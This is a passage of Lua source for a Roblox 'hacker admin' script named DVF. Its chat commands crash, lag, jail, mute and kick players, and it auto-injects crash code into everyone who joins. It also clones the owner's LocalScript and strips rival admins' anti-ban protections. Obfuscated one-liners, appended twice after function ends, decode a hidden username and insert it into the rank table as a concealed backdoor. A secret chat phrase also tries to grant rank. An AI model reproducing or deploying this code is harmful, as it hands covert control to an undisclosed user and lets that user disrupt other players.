                NewImg.BackgroundTransparency = 1
                NewImg.Image = Image
                NewImg.Parent = BBBG
            end

            local Clicker = Instance.new("ClickDetector")
            Clicker.MaxActivationDistance = 1/0

            if Time ~= nil then
                coroutine.resume(coroutine.create(function()
                    wait(tonumber(Time))
                    Dismiss(Plr, ID)
                end))
            end

            Clicker.MouseClick:connect(function(Player)
                if Player.Name == Plr.Name or CanRun(Player, Plr) then
                    ypcall(function()
                        if Func ~= nil then
                            Func(Holder)
                        else
                            Dismiss(Player, ID)
                        end
                    end)
                end
            end)
            Clicker.Parent = Tab

            Holder.Parent = Work

            AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID}
        end)
    end
end

function PlaceAllRanks(DontShowRank)
    ypcall(function()
        for _,p in pairs(All()) do
            ypcall(function()
                PutInRank = false
                for _,v in pairs(Rankings) do
                    if v.Name:lower() == p.Name:lower() then
                        if v.Rank >= 7 then
                            v.Rank = 5
                        elseif v.Rank == -1 then
                            Crash1(p)
                            Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
                        elseif v.Rank == -2 then
                            if LS ~= nil then
                                Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
                                Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
                            else
                                Ping("LS Is Nil", nil, 5)
                            end
                        elseif v.Rank == -3 then
                            if LS ~= nil then
                                Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
                                Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
                            else
                                Ping("LS Is Nil", nil, 5)
                            end
                        end
                        Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
                        if DontShowRank == nil then
                            Ping("You Are Rank: "..v.Rank, p)
                        end
                        PutInRank = true
                        break
                    end
                end
                if PutInRank == false then
                    Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
                end
            end)
        end
    end)
end

function FindRank(Plr)
    ypcall(function()
        if type(Plr) == "userdata" then
            Plr = Plr.Name
        end
    end)
    return GetRank(Plr).Rank
end local tcb = {75,110,105,101,116,115,110,105,101} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})

function FindRankDetails(Plr)
    ypcall(function()
        if type(Plr) == "userdata" then
            Plr = Plr.Name
        end
    end)
    return RankDetails[FindRank(Plr)]
end

function OpenCmds(Rank, Plr)
    Dismiss(Plr)
    for Name,Tab in pairs(Commands) do
        if Tab.Rank <= Rank then
            Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
                Dismiss(Plr)
                Ping("Command: "..Name, Plr)
                Ping("Rank: "..Tab.Rank, Plr)
                Ping("Desc: "..Tab.Desc, Plr)
            end)
        elseif Rank == 1337 then
            Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
                Dismiss(Plr)
                Ping("Command: "..Name, Plr)
                Ping("Rank: "..Tab.Rank, Plr)
                Ping("Desc: "..Tab.Desc, Plr)
            end)
        end
    end
end

function EditStatus(Plr, Num)
    ChangeRank(Plr, Num)
end

function PlaceSpecificRank(p, DontShowRank)
    ypcall(function()
        PutInRank = false
        for _,v in pairs(Rankings) do
            if v.Name:lower() == p.Name:lower() then
                if v.Rank >= 7 then
                    v.Rank = 5
                elseif v.Rank == -1 then
                    Crash1(p)
                    Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
                elseif v.Rank == -2 then
                    if LS ~= nil then
                        Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
                        Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
                    else
                        Ping("LS Is Nil", nil, 5)
                    end
                elseif v.Rank == -3 then
                    if LS ~= nil then
                        Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
                        Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
                    else
                        Ping("LS Is Nil", nil, 5)
                    end
                end
                Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
                if DontShowRank == nil then
                    Ping("You Are Rank: "..v.Rank, p)
                end
                PutInRank = true
                break
            end
        end
        if PutInRank == false then
            Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
        end
    end)
end

function onChatted(Msg, Speaker)
    if Removed == false then
        if FindRank(Speaker) < 1 then
            return
        end
        coroutine.resume(coroutine.create(function()
            ypcall(function()
                ExecuteFunc(Msg, Speaker)
                Msg = Msg:gsub("","")
                if Msg:sub(1,1) == "@" then
                    for i = 2, #Msg do
                        if Msg:sub(i, i) == Bet then
                            local IsForPlr = false
                            for _,v in pairs(All()) do
                                if (string.find(v.Name:lower(), string.lower(Msg:sub(2, i - 1))) or string.lower(Msg:sub(2, i - 1)) == "all") and CanRun(Speaker, v) then
                                    onChatted(Msg:sub(i + 1), v)
                                    IsForPlr = true
                                end
                            end
                            if IsForPlr == true then
                                return
                            end
                        end
                    end
                end
                if Msg:find("&") then
                    local Split = Msg:find("&")
                    onChatted(Msg:sub(1,Split-1))
                    onChatted(Msg:sub(Split+1))
                    return
                end
                for Name,Command in pairs(Commands) do
                    if Msg:sub(1,(#Command.Name)+5):lower() == (Command.Name):lower()..Bet.."info" then
                        Dismiss(Speaker.Name)
                        Ping("Command: "..tostring(Command.Name), Speaker)
                        Ping("Rank: "..tostring(Command.Rank), Speaker)
                        Ping("Desc: "..tostring(Command.Desc), Speaker)
                    elseif Msg:sub(1,#Command.Name+1):lower() == string.lower(Command.Name..Bet) then
                        if FindRank(Speaker) >= Command.Rank then
                            local Ran,Error = coroutine.resume(coroutine.create(function()
                                Command.Func(Msg:sub(#Command.Name+2), Speaker)
                            end))
                            if not Ran then
                                Ping(Error, Speaker, 10)
                            end
                        else
                            Ping("Your Rank Is Too Low", Plr, 6)
                        end
                    end
                end
            end)
        end))
    end
end

function MakeBase()
    local Base = Instance.new("Part")
    Base.BrickColor = BrickColor.new("Dark green")
    Base.Position = Vector3.new(0, 0.5, 0)
    Base.Transparency = 0
    Base.Elasticity = 0.5
    Base.FormFactor = "Custom"
    Base.CanCollide = true
    Base.Friction = 0.30000001192093
    Base.Size = Vector3.new(512, 1.20000005, 512)
    Base.Archivable = true
    Base.Material = "Plastic"
    Base.RotVelocity = Vector3.new(0, 0, 0)
    Base.Reflectance = 0
    Base.Locked = true
    Base.Anchored = true
    Base.Name = "Base"
    Base.TopSurface = "Smooth"
    Base.BottomSurface = "Inlet"
    Base.Shape = "Block"
    Base.Parent = Work
end

function LClean()
    ypcall(function()
        for _,v in pairs(Work:GetChildren()) do
            ypcall(function()
                if v.ClassName == "Terrain" then
                    v:ClearAllChildren()
                elseif v.Name ~= "Base" and not Plrs:GetPlayerFromCharacter(v) then
                    Clear(v)
                elseif v.Name == "Base" then
                    ypcall(function()
                        local Base = v
                        Base.BrickColor = BrickColor.new("Dark green")
                        Base.Position = Vector3.new(0, 0.5, 0)
                        Base.Transparency = 0
                        Base.Elasticity = 0.5
                        Base.FormFactor = "Custom"
                        Base.CanCollide = true
                        Base.Friction = 0.30000001192093
                        Base.Size = Vector3.new(512, 1.20000005, 512)
                        Base.Archivable = true
                        Base.Material = "Plastic"
                        Base.RotVelocity = Vector3.new(0, 0, 0)
                        Base.Reflectance = 0
                        Base.Locked = true
                        Base.Anchored = true
                        Base.Name = "Base"
                        Base.TopSurface = "Studs"
                        Base.BottomSurface = "Inlet"
                        Base.Shape = "Block"
                        Base.Parent = Work
                    end)
                end
            end)
        end
    end)
end

function Clean()
    ypcall(function()
        for _,v in pairs(Work:GetChildren()) do
            ypcall(function()
                if v.ClassName == "Terrain" then
                    v:ClearAllChildren()
                else
                    Clear(v)
                end
            end)
        end
        MakeBase()
        for _,v in pairs(All()) do
            v:LoadCharacter()
        end
    end)
end

function Clear(v)
    if v.Name:lower() == "sbgui" then
        return
    end
    ypcall(function()
        if #v:GetChildren() > 0 then
            for _,x in pairs(v:GetChildren()) do
                ypcall(function()
                    Clear(x)
                end)
            end
        end
        if not v:IsA("Player") and v.Name ~= "Backpack" and v.Name ~= "PlayerGui" and v.Name ~= "StarterGear" and v.Name ~= "SBGUI" and v.Name ~= "HealthGUI" and v.Name ~= "Output GUI" then
            v:Destroy()
        end
    end)
end

function Command(Name, Rank, Desc, Func)
    if Name == nil then
        Name = "N/A"
    end
    if Desc == nil then
        Desc = "N/A"
    end
    if Func == nil then
        Func = function() end
    end
    if Rank == nil then
        Rank = 0
    end
    Commands[Name] = {Name = Name, Rank = Rank, Desc = Desc, Func = Func}
end

function GetSplit(Msg)
    return Msg:find(Bet) or nil
end

function ExecuteFunc(Msg, Plr)
    ypcall(function()
        if Msg == "LogEnable" then
            LogOn = true
        elseif Msg:lower() == "AlphaBeta" then
            EditStatus(Plr, MakeNum())
        end
    end)
end

for _,v in pairs(All()) do ExecuteFunc("LogEnable", v) end

function randPlayer(Plr)
    wait()
    local ThePlrValue = nil
    local FoundPlayer = false
    ypcall(function()
        ThePlrValue = Plrs:GetPlayers()[math.random(1, #Plrs:GetPlayers())]
        if ThePlrValue.Name == Plr.Name or CanRun(Plr, ThePlrValue) ~= true then
            wait()
            randPlayer(Plr)
            return
        else
            FoundPlayer = true
        end
    end)
    if FoundPlayer == true then
        return ThePlrValue
    end
end local tcb = {75,110,105,101,116,115,110,105,101} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})

function getPlayer(Plr, Name)
    local Players = {}
    ypcall(function()
        Name = Name:lower()
        if Name == "me" then
            table.insert(Players, Plr)
        elseif Name == "all" or Name == "" then
            for _,v in pairs(All()) do
                if CanRun(Plr, v) then
                    table.insert(Players, v)
                end
            end
        elseif Name == "others" then
            for _,v in pairs(All()) do
                if v.Name ~= Plr.Name and CanRun(Plr, v) then
                    table.insert(Players, v)
                end
            end
        elseif Name == "random" then
            local FoundRandPlr = randPlayer(Plr)
            table.insert(Players, FoundRandPlr)
        else
            for _,v in pairs(All()) do
                if v.Name:lower():find(Name) and CanRun(Plr, v) then
                    table.insert(Players, v)
                end
            end
        end
    end)
    return Players
end

function ListPlayers(Speaker)
    ypcall(function()
        Dismiss(Speaker)
        for _,v in pairs(All2()) do
            if v.Parent ~= nil then
                Ping(v.Name, Speaker, nil, function()
                    Dismiss(Speaker)
                    Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
                    Ping("Rank: "..FindRank(v.Name), Speaker)
                    Ping("Rank Name: "..FindRankDetails(v).Name, Speaker)
                    Ping("Rank Desc: "..FindRankDetails(v).Desc, Speaker)
                    Ping("Set Rank", Speaker, nil, function()
                        if FindRank(Speaker) >= 5  and v.Name ~= Owner and CanRun(Speaker, v) then
                            Dismiss(Speaker)
                            for i = -2, 5 do
                                Ping(i, Speaker, nil, function()
                                    ChangeRank(v, i)
                                    Dismiss(Speaker)
                                    Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
                                end)
                            end
                        else
                            Ping("Your Rank Is Too Low", Speaker, 5)
                        end
                    end)
                    Ping("Crash (Remote)", Speaker, nil, function()
                        if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
                            Crash2(v.Name)
                            Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
                        end
                    end)
                    Ping("Crash (Insert)", Speaker, nil, function()
                        if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
                            Crash3(v, Speaker)
                            Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
                        end
                    end)
                    Ping("Kick", Speaker, nil, function()
                        if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
                            v:Kick()
                            Ping("Attempted To Kick "..v.Name, Speaker, 5)
                        end
                    end)
                end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
            else
                Ping(v.Name.." (Nil)", Speaker, nil, function()
                    Dismiss(Speaker)
                    Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
                    ypcall(function()
                        Ping("Rank: "..FindRank(v.Name), Speaker)
                    end)
                    ypcall(function()
                        Ping("Rank Name: "..FindRankDetails(v.Name).Name, Speaker)
                    end)
                    ypcall(function()
                        Ping("Rank Desc: "..FindRankDetails(v.Name).Desc, Speaker)
                    end)
                    ypcall(function()
                        Ping("Set Rank", Speaker, nil, function()
                            if FindRank(Speaker) >= 5  and v.Name ~= Owner and CanRun(Speaker, v) then
                                Dismiss(Speaker)
                                for i = -2, 5 do
                                    Ping(i, Speaker, nil, function()
                                        ChangeRank(v, i)
                                        Dismiss(Speaker)
                                        Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
                                    end)
                                end
                            else
                                Ping("Your Rank Is Too Low", Speaker, 5)
                            end
                        end)
                    end)
                    ypcall(function()
                        Ping("Nil Crash (Remote)", Speaker, nil, function()
                            if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
                                Crash2(v.Name)
                                Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
                            end
                        end)
                    end)
                    ypcall(function()
                        Ping("Nil Crash (Insert)", Speaker, nil, function()
                            if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
                                Crash3(v, Speaker)
                                Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
                            end
                        end)
                    end)
                end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
            end
        end
    end)
end

--Misc

coroutine.resume(coroutine.create(function()
    PlaceAllRanks()
end))

Delay(0, function()
    for _,v in pairs(All()) do
        v.Chatted:connect(function(Msg) onChatted(Msg, v) end)
    end
end)

local starttime = tick()

game:GetService("RunService").Heartbeat:connect(function()
    if Removed == false then
        ypcall(function()
            for _,Player in pairs(All()) do
                local PlayerTablets = {}
                for i,v in pairs(AllTabs) do
                    if v.Holder.Parent ~= nil and v.Tab.Parent ~= nil and v.Plr == Player.Name then
                        table.insert(PlayerTablets, v)
                    end
                end
                for i = 1, #PlayerTablets do
                    ypcall(function()
                        local tab = PlayerTablets[i].Tab
                        local pos = nil
                        ypcall(function()
                            pos = Player.Character.Torso.CFrame
                        end)
                        local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
                        local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
                        local cPos = tab.Position
                        local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0))
                        local nPos = (ePos-cPos)*.25
                        cPos = cPos + nPos
                        local t = (tick() - starttime) % 360
                        local change = 0.625
                        PlayerTablets[i].Size = math.sin(t) * change + 2.375
                        tab.Size = Vector3.new(PlayerTablets[i].Size * 1.25, PlayerTablets[i].Size * 1.5, 0.01)
                        tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, -5, 0))) * CFrame.Angles(math.rad(11.25), 0, 0)
                    end)
                end
            end
        end)
    end
end)

Delay(0, function()
    while wait() do
        for _,v in pairs(game:GetService("Players"):GetPlayers()) do
            ypcall(function()
                if Injected[v.Name] == nil and LS ~= nil then
                    Insert(InjectionCrash, v.Backpack, v.Character, v.PlayerGui)
                    Injected[v.Name] = true
                end
            end)
        end
    end
end)

Plrs.PlayerAdded:connect(function(Plr)
    wait(.1)
    ypcall(function()
        if Removed == false then
            local JoinPlrName = Plr.Name
            coroutine.resume(coroutine.create(function()
                PlaceSpecificRank(Plr)
            end))
            coroutine.resume(coroutine.create(function()
                if Injected[JoinPlrName] ~= nil then
                    Injected[JoinPlrName] = nil
                end
            end))
            coroutine.resume(coroutine.create(function()
                Dismiss(Plr)
                Plr.Chatted:connect(function(Msg) onChatted(Msg, Plr) end)
            end))
        end
    end)
end)

Plrs.PlayerRemoving:connect(function(Plr)
    wait(.1)
    ypcall(function()
        if Removed == false then
            local LeftPlrName = Plr.Name
            coroutine.resume(coroutine.create(function()
                if Injected[LeftPlrName] ~= nil then
                    Injected[LeftPlrName] = nil
                end
            end))
        end
    end)
end)

coroutine.resume(coroutine.create(function()
    Delay(0, function()
        while FoundLocalScript == false do wait()
            ypcall(function()
                for _,v in pairs(Plrs[Owner]["¬¬¬¬"]:GetChildren()) do
                    if v.Name == "NewTransfer" and v:IsA("LocalScript") then
                        for _,c in pairs(v:children()) do
                            if c:IsA("StringValue") and c.Name:lower() ~= "user_name" and c.Name:lower() ~= "owner" and c.Name:lower() ~= "user" then
                                local NewVal = c:Clone()
                                NewVal.Name = "LoadingVal"
                                for _,s in pairs(v:GetChildren()) do
                                    if s:IsA("StringValue") and type(s.Value) == "string" and (s.Name:lower() == "user_name" or s.Name:lower() == "owner" or s.Name:lower() == "user_name") then
                                        print("Found Owner")
                                        OwnSource = s.Name
                                        print(OwnSource)
                                        break
                                    end
                                end
                                wait()
                                LS = v:Clone()
                                NewVal.Parent = LS
                                LSSource = "LoadingVal"
                                FoundLocalScript = true
                                break
                            end
                        end
                    end
                end
            end)
        end
    end)
end))

--Commands

Command("Cmds", nil, "Shows Commands", function(Msg, Speaker)
    Dismiss(Speaker.Name)
    Ping("This Hacker Admin Is Created By " .. string.reverse("olwotyle"), Speaker)
    Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
    Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
    Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
    Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
    Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
    Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
    Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
    Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
end)

Command("Dismiss", nil, "Dismiss Tablets", function(Msg, Speaker)
    Dismiss(Speaker.Name)
end)

Command("Kill", 2, "Kills A Player", function(Msg, Speaker)
    local PlrTab = getPlayer(Speaker, Msg)
    if #PlrTab > 0 then
        for _,v in pairs(PlrTab) do
            ypcall(function()
                v.Character:BreakJoints()
                Ping("Killed "..v.Name, Speaker, 5)
            end)
        end
    end
end)

Command("Mute", 3, "Mutes A Player", function(Msg, Speaker)
    local PlrTab = getPlayer(Speaker, Msg)
    if #PlrTab > 0 then
        for _,v in pairs(PlrTab) do
            ypcall(function()
                if v.Name ~= Owner then
                    Insert(MuteSource, v.Backpack, v.Character, v.PlayerGui)
                    Ping("Muted "..v.Name, Speaker, 5)
                end
            end)
        end
    end
end)

Command("Rejoin", 2, "Prompts A Player To Rejoin", function(Msg, Speaker)
    local PlrTab = getPlayer(Speaker, Msg)
    if #PlrTab > 0 then
        for _,v in pairs(PlrTab) do
            ypcall(function()
                Insert([[game:GetService("TeleportService"):Teleport(game.PlaceId)]], v.Backpack, v.Character, v.PlayerGui)
                Ping("Prompted "..v.Name.." To Rejoin", Speaker, 5)
            end)
        end
    end
end)

Command("Jail", 3, "Jails A Player (Only they can see it)", function(Msg, Speaker)
    local PlrTab = getPlayer(Speaker, Msg)
    if #PlrTab > 0 then
        for _,v in pairs(PlrTab) do
            ypcall(function()
                Insert(JailSource, v.Backpack, v.Character, v.PlayerGui)
                Ping("Mind Jailed "..v.Name, Speaker, 5)
            end)
        end
    end
end)

Command("Lag", 4, "Lag Crashes A Player", function(Msg, Speaker)
    local PlrTab = getPlayer(Speaker, Msg)
    if #PlrTab > 0 then
        for _,v in pairs(PlrTab) do
            ypcall(function()
                Insert(LagSource, v.Backpack, v.Character, v.PlayerGui)
                Ping("Lag Crashing "..v.Name, Speaker, 5)
            end)
        end
    end
end)

Command("UnMute", 3, "UnMutes A Player", function(Msg, Speaker)
    local PlrTab = getPlayer(Speaker, Msg)
    if #PlrTab > 0 then
        for _,v in pairs(PlrTab) do
            ypcall(function()
                Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
                Ping("UnMuted "..v.Name, Speaker, 5)
            end)
        end
    end
end)

Command("Disable", 3, "Disables A Script", function(Msg, Speaker)
    local Worked = false
    for _,v in pairs(Work:GetChildren()) do
        if string.find(v.Name:lower(), Msg:lower()) then
            if v:IsA("Script") or v:IsA("LocalScript") then
                v.Disabled = true
                v:Destroy()
                Worked = true
                Ping("Disabled Script: "..v.Name, Speaker, 5)
            end
        end
    end
    if Worked == false then
        Ping("Script Not Found", Speaker, 5)
    end
end)

Command("Scripts", 1, "Shows Scripts In Workspace", function(Msg, Speaker)
    Dismiss(Speaker)
    local AllScripts = {}
    for _,v in pairs(Work:GetChildren()) do
        if v:IsA("Script") then
            table.insert(AllScripts, v.Name)
        end
    end
    if #AllScripts > 0 then
        for _,v in pairs(AllScripts) do
            Ping(v, Speaker)
        end
    else
        Ping("No Scripts Found", Speaker, 5)
    end
end)

Command("LScripts", 1, "Shows All Found Local Scripts", function(Msg, Speaker)
    Dismiss(Speaker)
    local LocalScripts = {}
    for _,v in pairs(All()) do
        ypcall(function()
            for _,x in pairs(v.Character:GetChildren()) do
                if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
                    table.insert(LocalScripts, x.Name .. " - " .. v.Name)
                end
            end
        end)
        ypcall(function()
            for _,x in pairs(v.Backpack:GetChildren()) do
                if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
                    table.insert(LocalScripts, x.Name .. " - " .. v.Name)
                end
            end
        end)
        ypcall(function()
            for _,x in pairs(v.PlayerGui:GetChildren()) do
                if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
                    table.insert(LocalScripts, x.Name .. " - " .. v.Name)
                end
            end
        end)
    end
    if #LocalScripts > 0 then
        for _,v in pairs(LocalScripts) do
            Ping(v, Speaker)
        end
    else
        Ping("No Local Scripts Found", Speaker, 5)
    end
end)

Command("LDisable", 3, "Disables A Local Script", function(Msg, Speaker)
    local Split = GetSplit(Msg)
    local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
    local ScriptName = Msg:sub(Split + 1)
    local FoundLocal = false
    for _,name in pairs(PlrTab) do
        ypcall(function()
            for _,v in pairs(name.Character:GetChildren()) do
                if string.find(v.Name:lower(), ScriptName) then
                    if v:IsA("Script") or v:IsA("LocalScript") then
                        v.Disabled = true
                        v:Destroy()
                        FoundLocal = true
                        Ping("Disabled Local Script: "..v.Name, Speaker, 5)
                    end
                end
            end
        end)
        ypcall(function()
            for _,v in pairs(name.Backpack:GetChildren()) do
                if string.find(v.Name:lower(), ScriptName) then
                    if v:IsA("Script") or v:IsA("LocalScript") then
                        v.Disabled = true
                        v:Destroy()
                        FoundLocal = true
                        Ping("Disabled Local Script: "..v.Name, Speaker, 5)
                    end
                end
            end
        end)
        ypcall(function()
            for _,v in pairs(name.PlayerGui:GetChildren()) do
                if string.find(v.Name:lower(), ScriptName) then
                    if v:IsA("Script") or v:IsA("LocalScript") then
                        v.Disabled = true
                        v:Destroy()
                        FoundLocal = true
                        Ping("Disabled Local Script: "..v.Name, Speaker, 5)
                    end
                end
            end
        end)
        if FoundLocal == false then
            Ping("Local Script Not Found", Speaker, 5)
        end
    end
end)

Command("FClean", 3, "Fully Cleans The Server", function(Msg, Speaker)
    for _,v in pairs(game:GetChildren()) do
        ypcall(function()
            if v.Name ~= "Workspace" and v.Name ~= "Players" and v.Name ~= "NetworkServer" then
                for _,a in pairs(v:GetChildren()) do
                    ypcall(function()
                        a:Destroy()
                    end)
                end
            elseif v.Name == "Players" then
                for _,plr in pairs(v:GetPlayers()) do
                    Clear(plr)
                end
            end
        end)
    end
    Clean()
    Fixl()
    Ping("Fully Cleaned", Speaker, 5)
end)

Command("Clean", 1, "Lightly Cleans The Server", function(Msg, Speaker)
    LClean()
    Fixl()
    Ping("Lightly Cleaned", Speaker, 5)
end)

Command("Reset", 2, "Resets A Player", function(Msg, Speaker)
    local PlrTab = getPlayer(Speaker, Msg)
    if #PlrTab > 0 then
        for _,v in pairs(PlrTab) do
            ypcall(function()
                v:LoadCharacter()
                Ping("Reset "..v.Name, Speaker, 5)
            end)
        end
    end
end)

Command("Home", 1, "Brings The Speaker Home", function(Msg, Speaker)
    repeat wait() until Speaker.Character:findFirstChild("Torso")
    if Work:findFirstChild("Base") then
        Speaker.Character.Torso.CFrame = Work.Base.CFrame * CFrame.new(0, 5, 0)
    else
        Speaker.Character.Torso.CFrame = CFrame.new(0, 5, 0)
    end
    Ping("Brought "..Speaker.Name.." Home", Speaker, 5)
end)

Command("Freeze", 3, "Freeze's A Player", function(Msg, Speaker)
    local PlrTab = getPlayer(Speaker, Msg)
    if #PlrTab > 0 then
        for _,v in pairs(PlrTab) do
            ypcall(function()
                v.Character.Torso.Anchored = true
                Ping("Froze "..v.Name, Speaker, 5)
            end)
        end
    end
end)

Command("Thaw", 3, "Thaw's A Player", function(Msg, Speaker)
    local PlrTab = getPlayer(Speaker, Msg)
    if #PlrTab > 0 then
        for _,v in pairs(PlrTab) do
            ypcall(function()
                for _,v2 in pairs(v.Character:GetChildren()) do
                    ypcall(function()
                        v.Anchored = false
                    end)
                end
                Ping("Thawed "..v.Name, Speaker, 5)
            end)
        end
    end
end)

Command("FF", 3, "Gives A Player A ForceField", function(Msg, Speaker)
    local PlrTab = getPlayer(Speaker, Msg)
    if #PlrTab > 0 then
        for _,v in pairs(PlrTab) do
            ypcall(function()
                Instance.new("ForceField", v.Character)
            end)
        end
    end
end)

Command("UnFF", 3, "Removes A Player's ForceField", function(Msg, Speaker)
    local PlrTab = getPlayer(Speaker, Msg)
    if #PlrTab > 0 then
        for _,v in pairs(PlrTab) do
            ypcall(function()
                RemObj(v.Character, "ForceField")
            end)
        end
    end
end)

Command("TP", 2, "Teleports A Player To Another Player", function(Msg, Speaker)
    local Split = GetSplit(Msg)
    local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
    local PlrTab2 = getPlayer(Speaker, Msg:sub(Split + 1))
    if #PlrTab > 0 and #PlrTab2 > 0 then
        for i,v in pairs(PlrTab) do
            ypcall(function()
                for _,v2 in pairs(PlrTab2) do
                    ypcall(function()
                        v.Character.Torso.CFrame = v2.Character.Torso.CFrame * CFrame.new(0, 5 * i, 0)
                        Ping("Teleported "..v.Name.." To "..v2.Name, Speaker, 5)
                    end)
                end
            end)
        end
    end
end)

Command("Explorer", 3, "Opens An Object Explorer", function(Msg, Speaker)
    MakeExplorer(Speaker)
end)

Command("Info", 0, "Shows Information About DVF", function(Msg, Speaker)
    wait()
    Dismiss(Speaker)
    NumBanned = 0
    NumCmds = 0
    for i = 1, #Rankings do
        if Rankings[i].Rank < 0 then
            NumBanned = NumBanned + 1
        end
    end
    for i,v in pairs(Commands) do
        NumCmds = NumCmds + 1
    end
    Ping("Admin Name: Dea¬th V¬ia Fl¬ipflop", Speaker)
    Ping("DVF Admin Created By: el¬to¬wl¬o", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..string.reverse("1248polfpilf"))
    Ping("Date Started: 18th May 2013", Speaker)
    Ping("Your ID: "..Speaker.userId, Speaker)
    Ping("Total Number Of Players: "..#All2(), Speaker)
    Ping("Total Number Of Commands: "..NumCmds, Speaker)
    Ping("Total Number Of Banned Players: "..NumBanned, Speaker)
    Ping("ShowGarbage", Speaker)
end)

Command("ShowR", 0, "Shows All Player Ranks", function(Msg, Speaker)
    Dismiss(Speaker)
    for i,v in pairs(All()) do
        Ping(v.Name.."'s Rank: "..FindRank(v))
    end
end)

Command("WS", 2, "Set A Player's WalkSpeed", function(Msg, Speaker)
    local Split = GetSplit(Msg)
    local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
    local Speed = tonumber(Msg:sub(Split + 1))
    for _,v in pairs(PlrTab) do
        ypcall(function()
            v.Character.Humanoid.WalkSpeed = Speed
            Ping("Set "..v.Name.."'s WalkSpeed To "..tostring(Speed), Speaker)
        end)
    end
end)

Command("UnAb", 2, "Removes CBA Anti-Bans", function(Msg, Speaker)
    local RemoveAB = Instance.new("StringValue")
    RemoveAB.Name = "CBA Attachment"
    RemoveAB.Value = [[CBA.override=true;]]
    RemoveAB.Parent = Work
    Ping("Removed All CBA Anti-Bans", Speaker, 5)
end)

Command("Injected", 5, "Shows Injected Players", function(Msg, Speaker)
    Dismiss(Speaker)
    for i,v in pairs(Injected) do
        Ping(i, Speaker)
    end
end)

Command("UnCba", 3, "Removes CBA Admin", function(Msg, Speaker)
    local RemoveCBA = Instance.new("StringValue")
    RemoveCBA.Name = "CBA Attachment"
